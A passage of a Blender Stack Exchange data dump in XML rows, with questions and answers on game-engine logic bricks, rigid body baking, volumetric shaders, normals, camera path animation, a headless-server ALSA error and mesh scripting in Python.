have the player (yes, It is &lt;em&gt;Still&lt;/em&gt; named &lt;strong&gt;Space Ship Cube&lt;/strong&gt;) track to it&lt;/p&gt;&#xA;&lt;p&gt;Getting &lt;strong&gt;Space Ship Cube&lt;/strong&gt; to track to &lt;strong&gt;Fly_To_Target&lt;/strong&gt; is not hard at all.&#xA;For now, this is all we need on the player. All this does is make it so when the Boolean property &lt;strong&gt;Drive?&lt;/strong&gt; is true, the cube will move in the direction of our tracker object named &lt;strong&gt;Fly_To_Target&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n1JrX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now the Space ship cube will always fly to the the object &lt;strong&gt;Fly_To_Target&lt;/strong&gt; we have tracking to the mouse.&lt;/p&gt;&#xA;&lt;p&gt;There is one thing we need to change before we can test it. Because we are using linear velocity, there will be a significant overshoot problem. for details on why, view this question.&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/21137/5426&quot;&gt;Realistic Jet Flight&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;If you do not care why, and just want the problem fixed, set the damping on the Translation to .8&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QgCRE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we can test it and it &lt;em&gt;should&lt;/em&gt; work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7unni.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is obviously not what we want, but it is very close.&#xA;We can start by setting the Boolean property &lt;strong&gt;Drive?&lt;/strong&gt; to &lt;strong&gt;false&lt;/strong&gt;, and adding a mouse sensor and property actuator to set &lt;strong&gt;Drive?&lt;/strong&gt; to &lt;strong&gt;true&lt;/strong&gt;, because, when it is true, our space ship (&lt;strong&gt;Space Ship Cube&lt;/strong&gt;) flies to object &lt;strong&gt;Fly_To_Target&lt;/strong&gt; It is very important that &lt;strong&gt;Drive?&lt;/strong&gt; is False when the game starts, or it will begin flying to &lt;strong&gt;Fly_To_Target&lt;/strong&gt; as soon as the game is started.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L9Ghv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now if we test it, we should expect &lt;strong&gt;Space Ship Cube&lt;/strong&gt; to remain still until we click&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x118f.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately we still have the problem of &lt;strong&gt;Space Ship Cube&lt;/strong&gt; indefinitely trying to reach &lt;strong&gt;Fly_To_Target&lt;/strong&gt;. Do not worry, There is an easy fix for this. We can simply use that same mouse sensor to assign the Boolean property &lt;strong&gt;ActiveYesNo?&lt;/strong&gt; to &lt;strong&gt;False&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/84i3T.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now when we click, &lt;strong&gt;Fly_To_Target&lt;/strong&gt; will no longer move.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gMHgk.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;That only fixed half of our problem. &lt;strong&gt;Space Ship Cube&lt;/strong&gt; Still flies indefinitely. We still need something to make the cube stop moving once it reaches &lt;strong&gt;Fly_To_Target&lt;/strong&gt; There is no need to worry, because I would not be writing this answer If I didn't know how to fix this.&#xA;Remember the cylinder that we added earlier and strangely parented to &lt;strong&gt;Space Ship Cube&lt;/strong&gt;? we will now make use of that. Until now it has been invisible, because we didn't need to see it. However, for illustration purposes, we can now make it visible again. While we are in the physics tab, we need to change a few settings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HqTsS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I did not want to draw big blue arrows over the entire thing, but all of the settings there are important. It is &lt;strong&gt;very&lt;/strong&gt; important that the physics type is set to &lt;strong&gt;sensor&lt;/strong&gt; (detects collisions with static and dynamic objects but not other sensor objects) It is also important that the check box &lt;strong&gt;Compound&lt;/strong&gt; is checked. this will basically make the collision bounds of the cylinder part of &lt;strong&gt;Space Ship Cube&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Of course for this to work the same check box needs to be checked on &lt;strong&gt;Space Ship Cube&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D6OV5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we have a wonderful collision sensor! - Whoopee. Now we need it to do something. We are actually going to use it to detect a collision with &lt;strong&gt;Fly_To_Target&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can do this by placing the sensor on &lt;strong&gt;Space Ship Cube&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IngSR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we test it, &lt;strong&gt;Space Ship Cube&lt;/strong&gt; &lt;em&gt;should&lt;/em&gt; stop once it reaches &lt;strong&gt;Fly_To_Target&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dOHgN.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, &lt;strong&gt;Fly_To_Target&lt;/strong&gt; will not move again because we assigned it's Boolean property &lt;strong&gt;ActiveYesNo?&lt;/strong&gt; to false, essentially deactivating it. If we want it to work, we need to assign it to &lt;strong&gt;True&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is easy enough to do by adding one extra logic brick.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2HUpX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we can test it and everything should work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hFjQC.gif&quot; alt=&quot;Working&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Yay! everything works!&lt;/h1&gt;&#xA;&lt;p&gt;Until now I have been using a subdivided plane to show movement.&#xA;In space however, there is no floor. so we can hide the plane. Remember, it is a no-collision object so it is effectively gone now. (Gravity is set to 0 so the objects will not fall)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eg9Il.gif&quot; alt=&quot;Working Without floor&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you had any trouble following that, (Don't worry, this even confused me the first time I read through it) you can always look at/take apart the blend file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/243/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=243&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-12-28T18:23:51.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31567" PostTypeId="1" AcceptedAnswerId="31589" CreationDate="2015-05-27T21:42:58.447" Score="6" ViewCount="571" Body="&lt;p&gt;I'm improving my AC3D exporter. Right now, a linked group (displayed and treated as an empty) will not have any children (unless I parent a local object to them) despite holding many objects (from the linked file). Is there a way to get a list of children from a linked group?&lt;/p&gt;&#xA;" OwnerUserId="8009" LastEditorUserId="55" LastEditDate="2015-05-28T09:59:59.217" LastActivityDate="2015-05-28T23:09:13.040" Title="How to access an objects DupliGroup instances from Python?" Tags="&lt;python&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31568" PostTypeId="2" ParentId="31564" CreationDate="2015-05-27T21:44:01.900" Score="10" Body="&lt;p&gt;I'm not sure this is what you're looking for, but there is an add-on called &lt;strong&gt;&lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=287436&amp;amp;d=1391722170&quot; rel=&quot;nofollow noreferrer&quot;&gt;Create camera image plane&lt;/a&gt;&lt;/strong&gt; that creates a plane that always fills the frame, is always parallel to the camera and moves with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UkvYr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the original thread on where you can download it in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?300436-Scripts-Create-camera-image-plane&amp;amp;highlight=camera%20plane&quot; rel=&quot;nofollow noreferrer&quot;&gt;blenderartists&lt;/a&gt;. (login is required to download attachments)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-11-29T19:10:47.660" LastActivityDate="2015-11-29T19:10:47.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31569" PostTypeId="1" AcceptedAnswerId="40686" CreationDate="2015-05-27T23:13:05.383" Score="1" ViewCount="774" Body="&lt;p&gt;I noticed during baking physics (with 2,500 rigid bodies in a solidified cylinder) that, instead of using all 8 cores on my AMD FX-8150 CPU, it maxes one out at 100%, but then passes the baton onto another one, which goes at 100%, etc. but never seems to use them synchronously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UbKxH.jpg&quot; alt=&quot;system performance graph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Baking takes a while with that many rigid bodies; is there a way to configure Blender to use all 100% of CPU when baking physics?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Running Blender 2.74 x64 on Ubuntu GNOME 15.04 x64)&lt;/p&gt;&#xA;" OwnerUserId="14519" LastEditorUserId="2217" LastEditDate="2015-05-28T02:22:21.380" LastActivityDate="2015-10-27T18:49:55.190" Title="2.74 not using all CPU cores when baking rigid body physics" Tags="&lt;rigid-body-simulation&gt;&lt;performance&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31570" PostTypeId="1" CreationDate="2015-05-28T01:07:19.160" Score="2" ViewCount="277" Body="&lt;p&gt;I can't seem to use point-density or voxel data textures to affect particles.&lt;br&gt;&#xA;For example, I can set up a point-density texture that will create volumetric density around particles from system A, but if particle system B is set to use the same texture for particle emission density, nothing will be emitted.&lt;br&gt;&#xA;A bit of experimenting showed that particle emission treated all points in the point density texture as position 0 on the colourramp.&lt;/p&gt;&#xA;" OwnerUserId="14651" LastEditorUserId="2217" LastEditDate="2015-05-28T14:24:56.960" LastActivityDate="2015-05-28T14:24:56.960" Title="Certain textures don't work as particle textures?" Tags="&lt;texturing&gt;&lt;particles&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31571" PostTypeId="2" ParentId="31517" CreationDate="2015-05-28T01:09:05.007" Score="6" Body="&lt;p&gt;If you can't use UV coordinates, you can use &lt;strong&gt;&lt;em&gt;Box-Mapping&lt;/em&gt;&lt;/strong&gt; to give each piece of wood some variety.(yellow indicator)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attached image shows the node setup for the model of a wood plank which is repeated using an array modifier and that is offset along the z-axis and running lengthwise along the x-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top-left node set(green indicator) has coordinates that display the texture mostly as it would look if the model had been UV-mapped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom-left node set(red indicator) is a procedural texture that is added in with the small mix factor of 0.01.  This adds a bit of distortion to give additional variety for each component of the model.  It helps to hide the repetition of the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One small difficulty with this setup is that the long edges show the wood grain drawn along the wrong axis.  This can be corrected by adding a second material to those faces and rotating the texture coordinates for that 2nd material by 90 along the appropriate axis.(blue indicator)  This part will depend on the rotation of your model.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, pieces along the right and left sides of the model house may require slightly different coordinate adjustments from pieces running along the front and back sides of the house.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yGG69.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dimensions of the model will also have an impact on the coordinates that you use so a bit of trial and error may be needed to achieve the result you would like. &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-05-28T01:09:05.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31572" PostTypeId="1" CreationDate="2015-05-28T01:27:44.610" Score="6" ViewCount="2871" Body="&lt;p&gt;So, I have a problem using the Volumetric shaders in cycles. When I am viewing them in the viewport, they seem to be coming out perfectly fine, whereas when I render them, only the glass surface is visible and no light scattering/absorption occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Preview in the Viewport&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qZ0mF.jpg&quot; alt=&quot;Preview&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Rendered Image&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5z7wj.jpg&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry I have used a very low resolution, but the difference hopefully is clear)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] You can find my blend file here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/245/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=245&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14653" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-10T02:16:22.770" Title="Volumetric shader not showing up in render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;3d-view&gt;&lt;image&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31573" PostTypeId="1" CreationDate="2015-05-28T01:31:54.490" Score="3" ViewCount="379" Body="&lt;p&gt;I'm working on a maths assignment and I need to create a frustum (cone section). My first thought was to use a cylinder, but I'm unsure how to do it. So,  could anyone explain, step by step, how to make such an object? &lt;/p&gt;&#xA;" OwnerUserId="14654" LastEditorUserId="3078" LastEditDate="2015-06-04T20:49:43.323" LastActivityDate="2015-06-05T08:31:30.977" Title="How to model a frustum with specific radii?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31574" PostTypeId="2" ParentId="31531" CreationDate="2015-05-28T01:41:25.957" Score="2" Body="&lt;p&gt;When you have normals facing in different directions you need to recalculate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Edit Mode&lt;/strong&gt; select everything and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to make the &lt;strong&gt;normals consistent&lt;/strong&gt; (also refered as &lt;strong&gt;recalculate normals outside&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZKCM8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Th opposite of that operation is &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to &lt;strong&gt;recalcuate the normals inside&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ERy4H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-28T01:41:25.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31576" PostTypeId="2" ParentId="31573" CreationDate="2015-05-28T01:58:31.030" Score="3" Body="&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and choose Add Cone:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ZETa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zlpW7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;T&lt;/kbd&gt; to show the Tool tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Radius 2 will allow you to make the top flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ex6rE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radius 1 is the base radius, and Depth will determine it's height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option to access the tool's proerties is by pressing &lt;kbd&gt;F6&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wAhes.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-29T01:50:05.533" LastActivityDate="2015-05-29T01:50:05.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31578" PostTypeId="1" CreationDate="2015-05-28T04:00:48.727" Score="12" ViewCount="28412" Body="&lt;p&gt;Im making a animation in blender that requires the camera to change speeds while moving along a path. I'm using the Curve/Path for the path. I need the camera to move at a certain speed going between 2 places, and then slow down while moving around something its focusing on.&lt;/p&gt;&#xA;" OwnerUserId="14656" LastActivityDate="2017-10-13T15:10:40.050" Title="How to change camera movement speed on Path during animation" Tags="&lt;animation&gt;&lt;camera&gt;&lt;path&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31579" PostTypeId="1" AcceptedAnswerId="31590" CreationDate="2015-05-28T04:04:07.907" Score="2" ViewCount="1140" Body="&lt;p&gt;None of the physics sensors in my game work, I'm trying to create an AI man that chases after a player, but for whatever reason, he just won't sense the player, I've tried copying and pasting the property name &lt;em&gt;just&lt;/em&gt; to be sure, but that's not it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/244/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=244&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-11T19:54:15.347" Title="Near/radar/ray/collision sensors refuse to work" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31581" PostTypeId="1" CreationDate="2015-05-28T05:24:49.267" Score="6" ViewCount="5624" Body="&lt;p&gt;I am using Amazon EC2 VPC, but when I start the Blender I got some errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@ip:/home/ubuntu/blender-2.74-linux-glibc211-x86_64# ./blender -b&#xA;&#xA;ALSA lib confmisc.c:768:(parse_card) cannot find card '0'&#xA;ALSA lib conf.c:4248:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory&#xA;ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings&#xA;ALSA lib conf.c:4248:(_snd_config_evaluate) function snd_func_concat returned error: No such file or directory&#xA;ALSA lib confmisc.c:1251:(snd_func_refer) error evaluating name&#xA;ALSA lib conf.c:4248:(_snd_config_evaluate) function snd_func_refer returned error: No such file or directory&#xA;ALSA lib conf.c:4727:(snd_config_expand) Evaluate error: No such file or directory&#xA;ALSA lib pcm.c:2239:(snd_pcm_open_noupdate) Unknown PCM default&#xA;AL lib: (EE) ALCplaybackAlsa_open: Could not open playback device 'default': No such file or directory&#xA;found bundled python: /home/ubuntu/blender-2.74-linux-glibc211-x86_64/2.74/python&#xA;&#xA;Blender quit&#xA;&#xA;&#xA;root@ip:/home/ubuntu/blender-2.74-linux-glibc211-x86_64# ll&#xA;&#xA;total 162400&#xA;drwxr-xr-x 5 ubuntu ubuntu      4096 Mar 31 14:59 ./&#xA;drwxr-xr-x 8 ubuntu ubuntu      4096 May 28 04:47 ../&#xA;drwxr-xr-x 5 ubuntu ubuntu      4096 Mar 31 14:54 2.74/&#xA;-rwxr-xr-x 1 ubuntu ubuntu 113425328 Mar 31 14:59 blender*&#xA;-rwxr-xr-x 1 ubuntu ubuntu  52736328 Mar 31 14:59 blenderplayer*&#xA;-rwxr-xr-x 1 ubuntu ubuntu       745 Mar 31 14:59 blender-softwaregl*&#xA;-rwxr-xr-x 1 ubuntu ubuntu      5404 Mar  5  2014 blender-thumbnailer.py*&#xA;-rw-r--r-- 1 ubuntu ubuntu      4774 Mar 31 14:59 copyright.txt&#xA;-rw-r--r-- 1 ubuntu ubuntu     35147 Mar 31 14:59 GPL3-license.txt&#xA;-rw-r--r-- 1 ubuntu ubuntu     17997 Mar 31 14:59 GPL-license.txt&#xA;drwxr-xr-x 9 ubuntu ubuntu      4096 Mar 31 14:59 icons/&#xA;-rw-r--r-- 1 ubuntu ubuntu      1591 Mar 31 14:59 jemalloc-license.txt&#xA;drwxr-xr-x 2 ubuntu ubuntu      4096 Nov 22  2012 lib/&#xA;-rw-r--r-- 1 ubuntu ubuntu      4947 Feb 19  2014 LICENSE-bfont.ttf.txt&#xA;-rw-r--r-- 1 ubuntu ubuntu      3421 Feb 19  2014 LICENSE-bmonofont-i18n.ttf.txt&#xA;-rw-r--r-- 1 ubuntu ubuntu      3299 Feb 19  2014 LICENSE-droidsans.ttf.txt&#xA;-rw-r--r-- 1 ubuntu ubuntu      2396 Mar 31 14:59 Python-license.txt&#xA;-rw-r--r-- 1 ubuntu ubuntu      6180 Mar 31 14:59 readme.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14659" LastEditorUserId="29301" LastEditDate="2020-02-23T03:16:57.510" LastActivityDate="2020-02-23T03:16:57.510" Title="ALSA lib confmisc.c:768:(parse_card) cannot find card '0' and etc Errors happend in Ubuntu Server14.04" Tags="&lt;error&gt;&lt;audio&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31582" PostTypeId="2" ParentId="31581" CreationDate="2015-05-28T06:02:38.393" Score="6" Body="&lt;p&gt;Use -noaudio option works, like this&#xA;&lt;code&gt;./blender-2.74-linux-glibc211-x86_64/blender -b -noaudio &quot;Blender/ball.blend&quot; -x 1 -f 1 -o //&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope could help someone!&lt;/p&gt;&#xA;" OwnerUserId="14659" LastEditorUserId="29301" LastEditDate="2020-02-23T03:14:25.737" LastActivityDate="2020-02-23T03:14:25.737" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31583" PostTypeId="2" ParentId="31578" CreationDate="2015-05-28T06:04:22.933" Score="10" Body="&lt;p&gt;&lt;strong&gt;Make Sure you create Keyframes for the Offset value in the Follow Path Constraint.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Insert Keyframes on the [Follow Path Constraint].  Use [Fixed Position] TRUE.  The image belows shows two keyframes in the timeline and the dopesheet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/43TXR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;By using keyframes to directly and easily change position, you will change the speed, usefully and indirectly.  The object can also stop moving by using the same value of keyframe at two different frames. You can also reverse direction. You will be specifying the positions (0 = start, .5 = mid, 1.0 end) along the curve.  There is no direct settings for distance per frame and this is not a large problem under many scenarios.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are also many tutorials at video sites that will visually explain this.  Consider searching Blender Tutorial Follow Path Constraint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2017-10-13T15:10:40.050" LastActivityDate="2017-10-13T15:10:40.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31584" PostTypeId="1" CreationDate="2015-05-28T08:27:30.850" Score="2" ViewCount="888" Body="&lt;p&gt;I'm having this project with a company that I have to make an animation for them, I've started learning Blender for this project and I'm still consider myself very noob in Blender, specially in terms of texturing and UV mapping.&#xA;I've rendered this shot just now, and I still think it's not exactly what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note 1: I'm using texture and bump for the ocean because the Blender ocean simulator is just killing RAM, and I can't get it done for the big scale ocean like this, is there anyway (or other ways) to make the ocean look real?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ih5cQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an underwater scene which I don't exactly know how i should make it look real, but I'm still trying. I'm having a very hard time getting the volume texture for underwater scene!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/62jo7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other issue I have is the boat trails, currently I'm using an static image that looks like a trail, but it's an animation and the trail is static which makes no sense. What are the other options to create this trail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUAX1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I accept any comments, suggestions &amp;amp; criticism so please shoot!&lt;/p&gt;&#xA;" OwnerUserId="7795" LastEditorUserId="64671" LastEditDate="2019-04-21T13:19:08.310" LastActivityDate="2019-04-21T13:19:08.310" Title="How can I make this render more realistic" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-05-28T11:32:22.197" ContentLicense="CC BY-SA 4.0" />
  <row Id="31586" PostTypeId="1" AcceptedAnswerId="31609" CreationDate="2015-05-28T09:00:56.307" Score="2" ViewCount="211" Body="&lt;p&gt;Based on all the helpful information in the answers to my previous &lt;a href=&quot;https://blender.stackexchange.com/questions/31534/is-there-a-simple-concise-explanation-out-there-of-script-manipulation-of-mesh-o?noredirect=1#comment48696_31534&quot;&gt;question&lt;/a&gt; I have a new question. I will be generating a large number of meshes and animating them using just a script. In the following code, I use &lt;code&gt;bpy.ops.mesh.primitive_uv_sphere_add&lt;/code&gt; to make a sphere, and &lt;code&gt;bpy.data.objects.new&lt;/code&gt; to make a custom mesh. In both cases, it is sometimes necessary to access the object through &lt;code&gt;bpy.context.active_object&lt;/code&gt; and also through &lt;code&gt;bpy.ops.object&lt;/code&gt;. After the whole script runs, the fourth sphere is unintentionally smooth, because it is still active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is partly how to fix this (make only the purple mesh smooth), but I want to check that these are really the most correct and safest and foolproof ways to do this. How do I &quot;know&quot; if &lt;code&gt;bpy.ops.object&lt;/code&gt; really refers to the same object as &lt;code&gt;bpy.context.active_object&lt;/code&gt;?  Assume this is in a large script generating and deleting a large number/variety of meshes and objects and materials, vertices are being adjusted, keyframes and shapeframes are doing their thing, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last question didn't have enough code, so maybe I've overcompensated with too much this time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;&#xA;nx, ny = 20, 30&#xA;x = np.linspace(0, 3, nx)&#xA;y = np.linspace(0, 3, ny)&#xA;X, Y = np.meshgrid(x, y)&#xA;Z = np.cos(X**2 + Y**2)&#xA;&#xA;verts = [tuple(thing) for thing in zip(X.flatten(), Y.flatten(), Z.flatten())]&#xA;corner_verts = [verts[0], verts[nx-1], verts[-nx], verts[-1]]&#xA;&#xA;faces = []&#xA;for iy in range(ny-1):&#xA;    for ix in range(nx-1):&#xA;        v1 = iy*nx + ix&#xA;        v2 = v1 + 1&#xA;        v3 = v2 + nx&#xA;        v4 = v3 - 1&#xA;        faces.append((v1, v2, v3, v4))&#xA;&#xA;purp = bpy.data.materials.new(&quot;PKHG&quot;)&#xA;cy   = 